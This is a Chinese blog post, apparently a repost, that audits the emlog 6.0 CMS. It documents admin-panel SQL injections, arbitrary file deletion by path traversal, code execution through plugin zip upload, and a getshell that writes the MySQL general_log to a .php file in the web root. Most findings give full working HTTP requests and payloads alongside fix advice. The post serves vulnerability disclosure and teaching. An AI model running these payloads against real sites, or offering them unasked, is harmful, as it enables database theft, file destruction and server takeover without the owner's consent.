黑客大佬
黑客大佬

关于emlog6.0代码审计

1、后台标签删除处存在1处sql注入

漏洞条件

 
  
     
   
  1.  
    ● 漏洞url: http://emlog6.0.com/admin/tag.php?action=dell_all_tag
     
    2.  
   
  2.  
    ● 漏洞参数：tag[xx]
     
    3.  
   
  3.  
    ● 是否存在限制：无
     
    4.  
   
  4.  
    ● 是否还有其他条件：action=dell_all_tag,token
     
    5.  
  
 
  
复现
 
  
 
  
     
   
  1.  
    POST /admin/tag.php?action=dell_all_tag HTTP/1.1
     
    2.  
   
  2.  
    Host: emlog6.0.com
     
    3.  
   
  3.  
    Content-Length: 65
     
    4.  
   
  4.  
    Cache-Control: max-age=0
     
    5.  
   
  5.  
    Upgrade-Insecure-Requests: 1
     
    6.  
   
  6.  
    Origin: http://emlog6.0.com
     
    7.  
   
  7.  
    Content-Type: application/x-www-form-urlencoded
     
    8.  
   
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
    9.  
   
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
    10.  
   
  10.  
    Referer: http://emlog6.0.com/admin/tag.php
     
    11.  
   
  11.  
    Accept-Encoding: gzip, deflate
     
    12.  
   
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
    13.  
   
  13.  
    Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=oqlj6bcle1k5ukcrfnj52e99j4; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=f03cfe2175392b6fea4d5d25ef72278f
     
    14.  
   
  14.  
    Connection: close
     
    15.  
   
  15.  
     
    16.  
   
  16.  
    c%5B111+or+sleep(1)%5D=1&token=f03cfe2175392b6fea4d5d25ef72278f
     
    17.  
  
 
  
 
  
     
   
  1.  
    查看延时的倍数
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第1张图片
 
  
代码
 
  
 
  
     
   
  1.  
    tags变量键值分离，针对键做了数据库操作
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第2张图片
 
  
 
  
关于emlog6.0代码审计_第3张图片
 
  
修复建议
 
  
 
  
     
   
  1.  
    对用户的输入验证和过滤。使用预编译和转义函数。
     
    2.  
  
 
  
2、后台评论处评论者标签下来自处存在1处sql注入
 
  
漏洞条件
 
  
 
  
     
   
  1.  
    ● 漏洞url: http://emlog6.0.com/admin/comment.php?action=delbyip&ip=127.0.0.1&token=ee4b851eb3f103685da3bbbdd7837051
     
    2.  
   
  2.  
    ● 漏洞参数：ip
     
    3.  
   
  3.  
    ● 是否存在限制：单引号闭合；需要登录后台获取token
     
    4.  
   
  4.  
    ● 是否还有其他条件：action=delbyip&ip=&token参数都必须存在
     
    5.  
  
 
  
复现
 
  
 
  
     
   
  1.  
    payload：' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第4张图片
 
  
 
  
     
   
  1.  
    GET /admin/comment.php?action=delbyip&ip=1'and+updatexml(1,concat(0x7e,(SELECT+%40%40version),0x7e),1)--+kjdX&token=123e2dd43ef80874d0fe4975866fdf19 HTTP/1.1
     
    2.  
   
  2.  
    Host: emlog6.0.com
     
    3.  
   
  3.  
    Upgrade-Insecure-Requests: 1
     
    4.  
   
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
    5.  
   
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
    6.  
   
  6.  
    Referer: http://emlog6.0.com/admin/comment.php?active_del=1
     
    7.  
   
  7.  
    Accept-Encoding: gzip, deflate
     
    8.  
   
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
    9.  
   
  9.  
    Cookie: em_advset=block; em_sort_new=inline-block; PHPSESSID=2i21vnksbvj4kjcntdm2tq8265; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=123e2dd43ef80874d0fe4975866fdf19; em_logpwd_3=9999; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F
     
    10.  
   
  10.  
    Connection: close
     
    11.  
  
 
  
 
  
关于emlog6.0代码审计_第5张图片
 
  
 
  
关于emlog6.0代码审计_第6张图片
 
  
代码
 
  
 
  
     
   
  1.  
    get接收ip变量没有使用addslashesh函数过滤，sql语句里有单引号，直接闭合就可以
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第7张图片
 
  
 
  
关于emlog6.0代码审计_第8张图片
 
  
修复建议
 
  
 
  
     
   
  1.  
    对用户的输入验证和过滤。使用预编译和转义函数
     
    2.  
  
 
  
3、后台外观-导航-添加页面到导航添加处存在2处sql报错注入
 
  
漏洞条件
 
  
 
  
     
   
  1.  
    ● 漏洞url: http://emlog6.0.com/admin/navbar.php?action=add_page
     
    2.  
   
  2.  
    ● 漏洞参数：pages[x]=y
     
    3.  
   
  3.  
    ● 是否存在限制：无
     
    4.  
   
  4.  
    ● 是否还有其他条件：action=add_page
     
    5.  
  
 
  
复现
 
  
 
  
     
   
  1.  
    第一处
     
    2.  
  
 
  
 
  
     
   
  1.  
    POST /admin/navbar.php?action=add_page HTTP/1.1
     
    2.  
   
  2.  
    Host: emlog6.0.com
     
    3.  
   
  3.  
    Content-Length: 94
     
    4.  
   
  4.  
    Cache-Control: max-age=0
     
    5.  
   
  5.  
    Upgrade-Insecure-Requests: 1
     
    6.  
   
  6.  
    Origin: http://emlog6.0.com
     
    7.  
   
  7.  
    Content-Type: application/x-www-form-urlencoded
     
    8.  
   
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
    9.  
   
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
    10.  
   
  10.  
    Referer: http://emlog6.0.com/admin/navbar.php?error_e=1
     
    11.  
   
  11.  
    Accept-Encoding: gzip, deflate
     
    12.  
   
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
    13.  
   
  13.  
    Cookie: em_advset=block; em_sort_new=inline-block; em_link_new=inline-block; em_custom_text_new=inline-block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=pk3dk4qk2v7s89ef1e7ckm7851; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=24225d813e551487a6648954b0b94a32; em_logpwd_9=1234567
     
    14.  
   
  14.  
    Connection: close
     
    15.  
   
  15.  
     
    16.  
   
  16.  
    pages%5B6%5D=2'+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK
     
    17.  
  
 
  
 
  
关于emlog6.0代码审计_第9张图片
 
  
 
  
     
   
  1.  
    第二处
     
    2.  
  
 
  
 
  
     
   
  1.  
    POST /admin/navbar.php?action=add_page HTTP/1.1
     
    2.  
   
  2.  
    Host: emlog6.0.com
     
    3.  
   
  3.  
    Content-Length: 96
     
    4.  
   
  4.  
    Cache-Control: max-age=0
     
    5.  
   
  5.  
    Upgrade-Insecure-Requests: 1
     
    6.  
   
  6.  
    Origin: http://emlog6.0.com
     
    7.  
   
  7.  
    Content-Type: application/x-www-form-urlencoded
     
    8.  
   
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
    9.  
   
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
    10.  
   
  10.  
    Referer: http://emlog6.0.com/admin/navbar.php?error_e=1
     
    11.  
   
  11.  
    Accept-Encoding: gzip, deflate
     
    12.  
   
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
    13.  
   
  13.  
    Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f
     
    14.  
   
  14.  
    Connection: close
     
    15.  
   
  15.  
     
    16.  
   
  16.  
    pages%5B2+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK'%5D=111
     
    17.  
  
 
  
 
  
关于emlog6.0代码审计_第10张图片
 
  
代码
 
  
 
  
     
   
  1.  
    如果 pages 参数存在并且有值，则将其值赋给变量 $pages，否则将 $pages 赋值为空数组。遍历了一个名为 $pages 的数组。在每次迭代中，它从数组中取出一个键值对，其中键是 $id，而值是 $title。从接收到sql语句都没有任何过滤
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第11张图片
 
  
 
  
关于emlog6.0代码审计_第12张图片
 
  
修复建议
 
  
 
  
     
   
  1.  
    对用户的输入验证和过滤。使用预编译和转义函数。
     
    2.  
  
 
  
4、后台外观-侧边栏保存组件排序处存在1处sql注入
 
  
漏洞条件
 
  
 
  
     
   
  1.  
    ● 漏洞url: http://emlog6.0.com/admin/widgets.php?action=compages
     
    2.  
   
  2.  
    ● 漏洞参数：widgets[]
     
    3.  
   
  3.  
    ● 是否存在限制：无
     
    4.  
   
  4.  
    ● 是否还有其他条件：action=compages
     
    5.  
  
 
  
复现
 
  
 
  
     
   
  1.  
    POST /admin/widgets.php?action=compages HTTP/1.1
     
    2.  
   
  2.  
    Host: emlog6.0.com
     
    3.  
   
  3.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
     
    4.  
   
  4.  
    Content-Length: 125
     
    5.  
   
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
    6.  
   
  6.  
    Accept-Language: zh-CN,zh;q=0.9
     
    7.  
   
  7.  
    Cache-Control: max-age=0
     
    8.  
   
  8.  
    Content-Type: application/x-www-form-urlencoded
     
    9.  
   
  9.  
    Cookie: em_advset=block; em_sort_new=inline-block; em_custom_text_new=inline-block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=1k2r5e2fgke63vjqv3gbn1mkf6; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=3727215c7d05ed0180fa46f6b4043bd7
     
    10.  
   
  10.  
    Origin: http://emlog6.0.com
     
    11.  
   
  11.  
    Referer: http://emlog6.0.com/admin/widgets.php?activated=1
     
    12.  
   
  12.  
    Upgrade-Insecure-Requests: 1
     
    13.  
   
  13.  
    Accept-Encoding: gzip
     
    14.  
   
  14.  
     
    15.  
   
  15.  
    wgnum=1&widgets%5B%5D=search&widgets%5B%5D=archive&widgets%5B%5D=link'and/**/extractvalue(1,concat(char(126),database()))and'
     
    16.  
  
 
  
 
  
关于emlog6.0代码审计_第13张图片
 
  
代码
 
  
 
  
     
   
  1.  
    widgets参数存在就将它序列化，不存在赋值为空
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第14张图片
 
  
 
  
     
   
  1.  
    如果 $isSyntax 的值为假，即值为0或为空，$value 则被赋值为在其两侧加上单引号的字符串，即 ' . $value . '。
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第15张图片
 
  
修复建议
 
  
 
  
     
   
  1.  
    对用户的输入验证和过滤。使用预编译和转义函数。
     
    2.  
  
 
  
5、后台系统-数据库备份删除处存在任意文件删除
 
  
漏洞条件
 
  
 
  
     
   
  1.  
    ● 漏洞url: http://emlog6.0.com/admin/data.php?action=dell_all_bak
     
    2.  
   
  2.  
    ● 漏洞参数：bak[]
     
    3.  
   
  3.  
    ● 是否存在限制：无
     
    4.  
   
  4.  
    ● 是否还有其他条件：action=dell_all_bak
     
    5.  
  
 
  
复现
 
  
 
  
     
   
  1.  
    在自己的文件夹创建文件，可实现跨目录删除文件
     
    2.  
  
 
  
 
  
     
   
  1.  
    POST /admin/data.php?action=dell_all_bak HTTP/1.1
     
    2.  
   
  2.  
    Host: emlog6.0.com
     
    3.  
   
  3.  
    Content-Length: 27
     
    4.  
   
  4.  
    Cache-Control: max-age=0
     
    5.  
   
  5.  
    Upgrade-Insecure-Requests: 1
     
    6.  
   
  6.  
    Origin: http://emlog6.0.com
     
    7.  
   
  7.  
    Content-Type: application/x-www-form-urlencoded
     
    8.  
   
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
    9.  
   
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
    10.  
   
  10.  
    Referer: http://emlog6.0.com/admin/data.php
     
    11.  
   
  11.  
    Accept-Encoding: gzip, deflate
     
    12.  
   
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
    13.  
   
  13.  
    Cookie: em_advset=block; em_plugin_new=block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec
     
    14.  
   
  14.  
    Connection: close
     
    15.  
   
  15.  
     
    16.  
   
  16.  
    bak%5B%5D=../../../../1.txt
     
    17.  
  
 
  
 
  
关于emlog6.0代码审计_第16张图片
 
  
代码
 
  
 
  
     
   
  1.  
    bak参数存在且是数组，就会执行删除操作
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第17张图片
 
  
修复建议
 
  
 
  
     
   
  1.  
    加强用户输入验证，并限制用户所能删除的文件范围。
     
    2.  
  
 
  
6、后台系统-插件处存在1处文件上传漏洞
 
  
漏洞条件
 
  
 
  
     
   
  1.  
    ● 漏洞url: http://emlog6.0.com/admin/plugin.php?action=upload_zip
     
    2.  
   
  2.  
    ● 漏洞参数：filename
     
    3.  
   
  3.  
    ● 是否存在限制：上传的文件和文件夹的名字相同
     
    4.  
   
  4.  
    ● 是否还有其他条件：action=upload_zip，name=pluzip
     
    5.  
  
 
  
复现
 
  
 
  
     
   
  1.  
    POST /admin/plugin.php?action=upload_zip HTTP/1.1
     
    2.  
   
  2.  
    Host: emlog6.0.com
     
    3.  
   
  3.  
    Content-Length: 629
     
    4.  
   
  4.  
    Cache-Control: max-age=0
     
    5.  
   
  5.  
    Upgrade-Insecure-Requests: 1
     
    6.  
   
  6.  
    Origin: http://emlog6.0.com
     
    7.  
   
  7.  
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2DpnCXUHc5otIBms
     
    8.  
   
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
    9.  
   
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
    10.  
   
  10.  
    Referer: http://emlog6.0.com/admin/plugin.php
     
    11.  
   
  11.  
    Accept-Encoding: gzip, deflate
     
    12.  
   
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
    13.  
   
  13.  
    Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f
     
    14.  
   
  14.  
    Connection: close
     
    15.  
   
  15.  
     
    16.  
   
  16.  
    ------WebKitFormBoundary2DpnCXUHc5otIBms
     
    17.  
   
  17.  
    Content-Disposition: form-data; name="pluzip"; filename="text.zip"
     
    18.  
   
  18.  
    Content-Type: application/x-zip-compressed
     
    19.  
   
  19.  
     
    20.  
   
  20.  
    请求内容不显示：PK
     
    21.  
  
 
  
 
  
关于emlog6.0代码审计_第18张图片
 
  
 
  
     
   
  1.  
    上传后直接访问解压后的文件
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第19张图片
 
  
代码
 
  
 
  
     
   
  1.  
    先判断上传的文件是否存在，如存在就判断上传的后缀是否为zip，在将上传的zip文件进行解压操作
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第20张图片
 
  
 
  
     
   
  1.  
    对压缩包里的文件名称进行判断，如果压缩包名称为test则压缩包里必须存在test.php文件，否者会进行报错
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第21张图片
 
  
修复建议
 
  
 
  
     
   
  1.  
    修复文件上传漏洞需要限制上传文件类型、验证文件的MIME类型、设置文件上传大小限制、实施恶意文件扫描，以及避免执行上传的文件，从而确保服务器的安全性。
     
    2.  
  
 
  
7、后台数据库备份拿shell
 
  
漏洞条件
 
  
 
  
     
   
  1.  
    ● 漏洞url: http://emlog6.0.com/admin/data.php?action=import
     
    2.  
   
  2.  
    ● 漏洞参数：
     
    3.  
   
  3.  
    ● 是否存在限制：需要高数据库权限
     
    4.  
   
  4.  
    ● 是否还有其他条件：action=import，name=sqlfile， filename=参数存在
     
    5.  
  
 
  
复现
 
  
 
  
     
   
  1.  
    数据库拿shell主要有两种方式：
     
    2.  
   
  2.  
    一、select …into outfile 利用需要的条件有：
     
    3.  
   
  3.  
    ● 对web目录需要有写权限；
     
    4.  
   
  4.  
    ● 能够使用单引号；
     
    5.  
   
  5.  
    ● 知道绝对路径；
     
    6.  
   
  6.  
    ● secure-file-priv值必须为空(不能为null)
     
    7.  
   
  7.  
    二、开启mysql日志记录general_log，将日志写入特定目录下，利用条件有：
     
    8.  
   
  8.  
    ● 对web目录需要要写权限；
     
    9.  
   
  9.  
    ● 能够使用单引号；
     
    10.  
   
  10.  
    ● 知道绝对路径；
     
    11.  
   
  11.  
    ● 能够执行多行sql语句。
     
    12.  
  
 
  
 
  
 
  
     
   
  1.  
    第一种方法，先备份sql语句，在其基础上插入select “” into outfile ‘eval.php’语句就ok了,但是默认secure-file-priv值null,这个方法行不通。
     
    2.  
   
  2.  
    - 其中当参数 secure_file_priv 为空时，对导入导出无限制
     
    3.  
   
  3.  
    - 当secure_file_priv 值为一个指定的目录时，只能向指定的目录导入导出
     
    4.  
   
  4.  
    - 当secure_file_priv 值被设置为NULL时，禁止导入导出功能
     
    5.  
  
 
  
 
  
关于emlog6.0代码审计_第22张图片
 
  
 
  
     
   
  1.  
    第二种方法：数据库备份-编辑备份内容-导入编辑好的sql文件，直接访问生成的文件
     
    2.  
  
 
  
 
  
     
   
  1.  
    #开启日志记录
     
    2.  
   
  2.  
    set global general_log='on';
     
    3.  
   
  3.  
    #设置日志记录的路径
     
    4.  
   
  4.  
    SET global general_log_file='D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval1.php'; 
     
    5.  
   
  5.  
    #任意查询恶意内容都会被保存到日志
     
    6.  
   
  6.  
    SELECT '';
     
    7.  
  
 
  
 
  
     
   
  1.  
    注意：开启sql日志记录和设置日志路径文件需要高数据库权限
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第23张图片
 
  
 
  
     
   
  1.  
    当前网站的数据库权限为，cms安装时选择的用户，
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第24张图片
 
  
 
  
     
   
  1.  
    详细请求数据包
     
    2.  
  
 
  
 
  
     
   
  1.  
    POST /admin/data.php?action=import HTTP/1.1
     
    2.  
   
  2.  
    Host: emlog6.0.com
     
    3.  
   
  3.  
    Content-Length: 1086
     
    4.  
   
  4.  
    Cache-Control: max-age=0
     
    5.  
   
  5.  
    Upgrade-Insecure-Requests: 1
     
    6.  
   
  6.  
    Origin: http://emlog6.0.com
     
    7.  
   
  7.  
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfPRivdhzWTTFgYdA
     
    8.  
   
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
    9.  
   
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
    10.  
   
  10.  
    Referer: http://emlog6.0.com/admin/data.php
     
    11.  
   
  11.  
    Accept-Encoding: gzip, deflate
     
    12.  
   
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
    13.  
   
  13.  
    Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=0b2864j2ah3vhq7ouift3i53i3; EM_AUTHCOOKIE_I8ovfEdc33MzTKkbau3AYXkL5WEBeWQF=emm666%7C%7Cd989e69e972e2e1e490cd83d89356916; EM_TOKENCOOKIE_8bd3e1f19392195216b74e3a316ab187=d1709c4b7c5cadfa5c1e988f39e0eed1; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=0d1a684b7b31b8048948247ab4fce60f
     
    14.  
   
  14.  
    Connection: close
     
    15.  
   
  15.  
     
    16.  
   
  16.  
    ------WebKitFormBoundaryfPRivdhzWTTFgYdA
     
    17.  
   
  17.  
    Content-Disposition: form-data; name="token"
     
    18.  
   
  18.  
     
    19.  
   
  19.  
    0d1a684b7b31b8048948247ab4fce60f
     
    20.  
   
  20.  
    ------WebKitFormBoundaryfPRivdhzWTTFgYdA
     
    21.  
   
  21.  
    Content-Disposition: form-data; name="sqlfile"; filename="emlog_20240102_213007.sql"
     
    22.  
   
  22.  
    Content-Type: application/octet-stream
     
    23.  
   
  23.  
     
    24.  
   
  24.  
    #version:emlog 6.0.0
     
    25.  
   
  25.  
    #date:2024-01-02 21:30
     
    26.  
   
  26.  
    #tableprefix:emlog_
     
    27.  
   
  27.  
    DROP TABLE IF EXISTS emlog_link;
     
    28.  
   
  28.  
    set global general_log='on';
     
    29.  
   
  29.  
    SET global general_log_file='D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval99.php';
     
    30.  
   
  30.  
    SELECT '';
     
    31.  
   
  31.  
    CREATE TABLE `emlog_link` (
     
    32.  
   
  32.  
    `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
     
    33.  
   
  33.  
    `sitename` varchar(30) NOT NULL DEFAULT '',
     
    34.  
   
  34.  
    `siteurl` varchar(75) NOT NULL DEFAULT '',
     
    35.  
   
  35.  
    `description` varchar(255) NOT NULL DEFAULT '',
     
    36.  
   
  36.  
    `hide` enum('n','y') NOT NULL DEFAULT 'n',
     
    37.  
   
  37.  
    `taxis` int(10) unsigned NOT NULL DEFAULT '0',
     
    38.  
   
  38.  
    PRIMARY KEY (`id`)
     
    39.  
   
  39.  
    ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
     
    40.  
   
  40.  
     
    41.  
   
  41.  
    INSERT INTO emlog_link VALUES('1','emlog.net','http://www.emlog.net','emlog官方主页','n','0');
     
    42.  
   
  42.  
     
    43.  
   
  43.  
     
    44.  
   
  44.  
    #the end of backup
     
    45.  
   
  45.  
    ------WebKitFormBoundaryfPRivdhzWTTFgYdA--
     
    46.  
  
 
  
 
  
关于emlog6.0代码审计_第25张图片
 
  
 
  
     
   
  1.  
    直接访问即可
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第26张图片
 
  
 
  
     
   
  1.  
    此时数据库的记录已经开启，且写入文件为上面的指定php文件，我们很多设计到数据库的操作都会被记录，
     
    2.  
   
  2.  
    比如用户登录的时候，一定会将传入的账户密码带入数据库查询，我们可以直接在登录的时候，传入payload：
     
    3.  
   
  3.  
    然后刷新日志文件eval99.php即可触发
     
    4.  
  
 
  
 
  
关于emlog6.0代码审计_第27张图片
 
  
代码
 
  
 
  
     
   
  1.  
    导入备份文件，日志默认记录，被配文件会被日志执行sql语句
     
    2.  
  
 
  
 
  
关于emlog6.0代码审计_第28张图片
 
  
 
  
关于emlog6.0代码审计_第29张图片
 
  
修复建议
 
  
 
  
     
   
  1.  
    修复GetShell漏洞的方式是严格限制并检查文件上传，设置正确的文件权限，以及合理配置服务器以防止不安全的文件执行。
     
    2.  
  
 
  
申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。
 
  
免费领取安全学习资料包！
 
  

 渗透工具
 
  
技术文档、书籍
 
  
 
  
面试题
 
  
 
  
帮助你在面试中脱颖而出
 
  
 
  
视频
 
  
基础到进阶
 
  
环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等
 
  
 
  
应急响应笔记
 
  
 
  
学习路线
 
  
 
 
 


                            

                        

                    

                    
                    

                    
                    
                    

                

                

                    
                

            

        

    

    

        
你可能感兴趣的:(代码审计)

        

            

                
    
                    
  • 【网络安全】漏洞挖掘：php代码审计
                        秋说
网络安全phpweb安全漏洞挖掘
                        
    未经许可，不得转载。文章目录正文正文在应用程序中，通过一个JavaScript注释发现了一个备份ZIP文件。解压后，获取了应用程序的代码，其中包含如下代码片段：代码首先检查变量$action是否等于'convert'，如果是，则继续执行。随后对传入的变量$data使用trim()函数去除两端空白字符，并使用eval()函数执行$data的内容。显然，代码对$data没有进行任何过滤或验证，因此可以
    
                    
    • 
                    
  • 【网络安全 | 代码审计】JFinal之DenyAccessJsp绕过
                        秋说
网络安全web安全java代码审计漏洞挖掘
                        
    未经许可，不得转载。文章目录前言代码审计推理绕过Tomcat解析JSP总结概念验证阐发前言JFinal是一个基于Java的轻量级MVC框架，用于快速构建Web应用程序。它的设计理念是追求极简、灵活、高效，旨在提高开发效率，减少冗余代码的编写，适合中小型项目以及对性能有较高要求的项目。在较新的JFinal版本中，默认情况下无法直接通过浏览器地址栏输入.jsp文件名来访问对应的JSP文件。也就是说，主
    
                    
    • 
                    
  • 如何识别和防范跨站脚本攻击（XSS）？
                        盼盼盼
xss安全网络
                        
    识别和防范跨站脚本攻击（XSS）需要一系列的措施，包括输入验证、输出编码、安全配置和用户教育。以下是一些关键步骤：识别XSS异常行为：观察网站行为是否异常，例如页面上突然出现未经预期的内容或功能。错误消息：检查错误消息中是否包含敏感信息，这可能是由于未经过滤的输入导致的。安全工具：使用浏览器插件或安全扫描工具来检测潜在的XSS漏洞。代码审计：定期进行代码审计，查找可能的安全漏洞，特别是在处理用户输
    
                    
    • 
                    
  • Java代码审计篇：SQL注入
                        zkzq
数据库
                        
    一、常见SQL注入1、sql语句动态拼接示例代码：Stringid=request.getParameter("id");res=st.executeQuery("SELECT*FROM\"IWEBSEC\".\"user\"WHERE\"id\"="+id);while(res.next()){intp=res.getInt("id");Stringn=res.getString("userna
    
                    
    • 
                    
  • 【网络安全 | CTF】攻防世界 Web_php_unserialize 解题详析
                        秋说
CTFCTF网络安全web安全
                        
    文章目录代码审计解题思路wakeup绕过preg_match绕过base64绕过GET传参方法二代码审计这段代码首先定义了一个名为Demo的类，包含了一个私有变量$file和三个魔术方法__construct()、__destruct()和__wakeup()。其中：__construce()方法用于初始化$file变量__destruce方法用于输出文件内容__wakeup()方法检查当前对象的
    
                    
    • 
                    
  • [极客大挑战 2020]Greatphp1
                        安红豆.
androidweb安全php网络
                        
    知识点:1.PHP原生类在CTF中的利用2.以及的变形3.正则表达式的取反绕过进入页面又是熟悉的php的代码审计.syc!=$this->lover)&&(md5($this->syc)===md5($this->lover))&&(sha1($this->syc)===sha1($this->lover))){if(!preg_match("/\syc,$match)){eval($this->
    
                    
    • 
                    
  • 文章上传漏洞绕过方式(以php语言为例)
                        HMX404
web安全web安全漏洞
                        
